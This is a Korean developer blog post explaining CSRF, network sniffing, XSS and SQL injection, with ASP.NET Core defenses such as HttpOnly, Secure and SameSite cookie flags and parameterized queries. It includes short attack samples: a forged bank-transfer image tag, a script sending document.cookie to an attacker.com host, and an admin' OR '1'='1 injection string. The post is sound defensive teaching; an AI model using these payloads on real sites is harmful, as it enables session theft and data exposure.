Post

CSRF, XSS, SQL Injection

CSRF, XSS, SQL Injection

들어가며

앞선 글에서 수백 개의 권한 데이터를 관리하는 고민을 다룬 글을 작성했다. 클라이언트 저장(쿠키, JWT, LocalStorage)의 크기와 보안 문제를 확인했고, 결국 세션 이 답이라는 결론에 도달했다. 서버에 데이터를 보관하고 클라이언트에는 20 bytes의 세션 ID만 쿠키로 전달하면 모든 문제가 해결되는 것처럼 보였다.

하지만 구현하려고 코드를 찾아보니 쿠키 설정에 HttpOnly, Secure, SameSite 같은 낯선 옵션들이 있었다.

1
2
3
4
5
6
Response.Cookies.Append("sessionId", sessionId, new CookieOptions
{
    HttpOnly = true,
    Secure = true,
    SameSite = SameSiteMode.Strict 
});

“쿠키를 안전하게 보호하려면 어떻게 해야 하지?”

찾아보니 각 옵션이 서로 다른 공격을 막기 위한 것이었다. 이 글에서는 웹 보안의 핵심인 4가지 위협(CSRF, 스니핑, XSS, SQL Injection)과 그 대응 방법을 간단히 정리해두고자 한다.


보안 위협

1. CSRF (Cross-Site Request Forgery)

공격 원리:

사용자가 로그인한 상태에서 악성 사이트를 방문하면, 악성 사이트가 사용자의 쿠키를 이용해 정상 사이트에 요청을 보낸다.

1
2
3
4
5
6
1. 사용자가 my-bank.com에 로그인
2. 브라우저 쿠키: session=abc123
3. 사용자가 가짜 악성사이트 free-my-bank.com 방문
4. free-my-bank.com에 숨겨진 코드: <img src="https://my-bank.com/transfer?to=attacker&amount=1000000">
5. 브라우저가 자동으로 쿠키를 포함하여 요청 전송
6. 은행은 정상 요청으로 인식하여 송금 처리

방어: SameSite 쿠키

1
2
3
4
5
6
Response.Cookies.Append("sessionId", sessionId, new CookieOptions
{
    SameSite = SameSiteMode.Strict,  // 다른 사이트 요청에 쿠키 전송 안 함
    HttpOnly = true,
    Secure = true
});

SameSite 값:

동작 사용 시나리오
Strict 타 사이트 요청에 쿠키 미전송 송금, 삭제 등 민감한 작업
Lax GET 요청만 허용 일반 페이지 조회
None 항상 전송 (비권장) 타 사이트 임베드 필요 시

SameSite=Strict는 외부 링크 클릭 시 로그아웃된 것처럼 보일 수 있다. 일반적으로 Lax와 CSRF 토큰을 병행한다.

2. 스니핑 (Network Sniffing)

공격 원리

HTTP 통신을 중간에서 가로채 쿠키를 탈취한다.

1
2
사용자 ──HTTP──> 공격자 ──> 서버
         (쿠키 복사)

방어: Secure 플래그 + HTTPS

1
2
3
4
Response.Cookies.Append("sessionId", sessionId, new CookieOptions
{
    Secure = true  // HTTPS에서만 쿠키 전송
});

HTTPS를 사용하면 암호화된 통신이므로 중간에서 가로채도 내용을 볼 수 없다.

3. XSS (Cross-Site Scripting)

공격 원리

악성 스크립트를 삽입하여 사용자 정보를 탈취한다.

1
2
3
4
<!-- 게시판에 이런 글을 작성 -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

방문자가 이 게시글을 보면 스크립트가 실행되어 쿠키가 탈취된다.

방어 1: HttpOnly 플래그

1
2
3
4
Response.Cookies.Append("sessionId", sessionId, new CookieOptions
{
    HttpOnly = true  // JavaScript에서 쿠키 접근 차단
});

방어 2: 입력 검증 (Sanitization)

1
2
3
4
5
6
7
8
9
// ASP.NET Core - HtmlEncoder 사용
@using System.Text.Encodings.Web
@inject HtmlEncoder HtmlEncoder

<div>@HtmlEncoder.Encode(userInput)</div>

// 입력: <script>alert('xss')</script>
// 출력: &lt;script&gt;alert('xss')&lt;/script&gt;
// 결과: 스크립트 실행 안 됨, 문자열로 표시됨

XSS 유형

유형 설명 예시
Stored XSS DB에 저장되어 지속 실행 게시판, 댓글
Reflected XSS URL 파라미터로 즉시 실행 검색 결과 페이지
DOM-based XSS JavaScript로 DOM 조작 innerHTML 사용

4. SQL Injection

공격 원리

SQL 쿼리를 조작하여 데이터를 탈취하거나 변조한다.

1
2
3
4
5
6
7
// 위험한 코드
string query = $"SELECT * FROM Users WHERE username = '{input}'";

// 공격자 입력: admin' OR '1'='1
// 실행되는 쿼리: 
// SELECT * FROM Users WHERE username = 'admin' OR '1'='1'
// 결과: 모든 사용자 정보 노출

방어: 파라미터화 쿼리

1
2
3
4
5
6
7
// 안전한 코드
string query = "SELECT * FROM Users WHERE username = @username";
command.Parameters.AddWithValue("@username", input);

// 공격자 입력: admin' OR '1'='1
// 처리: 문자열 그대로 검색 (admin' OR '1'='1 이라는 이름의 사용자)
// 결과: 공격 실패

Entity Framework (권장):

1
2
3
var user = await _context.Users
    .FirstOrDefaultAsync(u => u.Username == input);
// ORM이 자동으로 파라미터화 처리


쿠키 보안 설정 종합

1
2
3
4
5
6
7
8
9
Response.Cookies.Append("sessionId", sessionId, new CookieOptions
{
    HttpOnly = true,                 // XSS 방어
    Secure = true,                   // 스니핑 방어 (HTTPS만)
    SameSite = SameSiteMode.Strict,  // CSRF 방어
    MaxAge = TimeSpan.FromHours(1),
    Path = "/",
    Domain = ".example.com"
});
속성 막는 공격 설명
HttpOnly XSS JavaScript 접근 차단
Secure 스니핑 HTTPS에서만 전송
SameSite CSRF 타 사이트 요청에 쿠키 미전송


체크리스트

쿠키/세션:

1
2
3
4
5
- HttpOnly 설정
- Secure 설정 (HTTPS 환경)
- SameSite=Strict 또는 Lax 설정
- 세션 타임아웃 설정
- 민감 데이터는 LocalStorage 금지

입력 처리:

1
2
3
4
- 모든 사용자 입력 검증
- 출력 시 HTML 인코딩
- 파라미터화 쿼리 사용
- ORM 프레임워크 활용

추가 방어:

1
2
3
- HTTPS 강제 (HSTS)
- Content Security Policy (CSP) 설정
- CSRF 토큰 (SameSite 보조)


마치며

웹 보안의 핵심 4가지 위협을 정리하면 다음과 같다.

위협 공격 방식 핵심 방어
CSRF 다른 사이트에서 요청 위조 SameSite=Strict
스니핑 네트워크 가로채기 Secure + HTTPS
XSS 스크립트 삽입 탈취 HttpOnly + 입력 검증
SQL Injection 쿼리 조작 파라미터화 쿼리

핵심 원칙:

모든 사용자 입력은 위험하다고 간주한다. “클라이언트를 믿지 마라”는 웹 보안의 기본 원칙이다.

방어는 다층적으로 한다. HttpOnly만으로는 부족하다. Secure, SameSite를 모두 설정하고, 입력 검증과 출력 인코딩도 함께 적용한다.

프레임워크의 보안 기능을 활용한다. ASP.NET Core의 HtmlEncoder, Entity Framework의 자동 파라미터화 등 검증된 도구를 사용한다.

세션 기반 인증을 선택한 것도 보안 때문이었다. 쿠키 하나에 모든 권한 데이터를 담으면 탈취 시 피해가 크다. 세션 ID만 쿠키에 담고 실제 데이터는 서버에 보관하면, 쿠키가 탈취되어도 서버에서 세션을 무효화하여 피해를 최소화할 수 있다.

보안은 한 번 설정하고 끝나는 것이 아니다. 지속적인 모니터링과 업데이트가 필요하다.


References

This post is licensed under CC BY 4.0 by the author.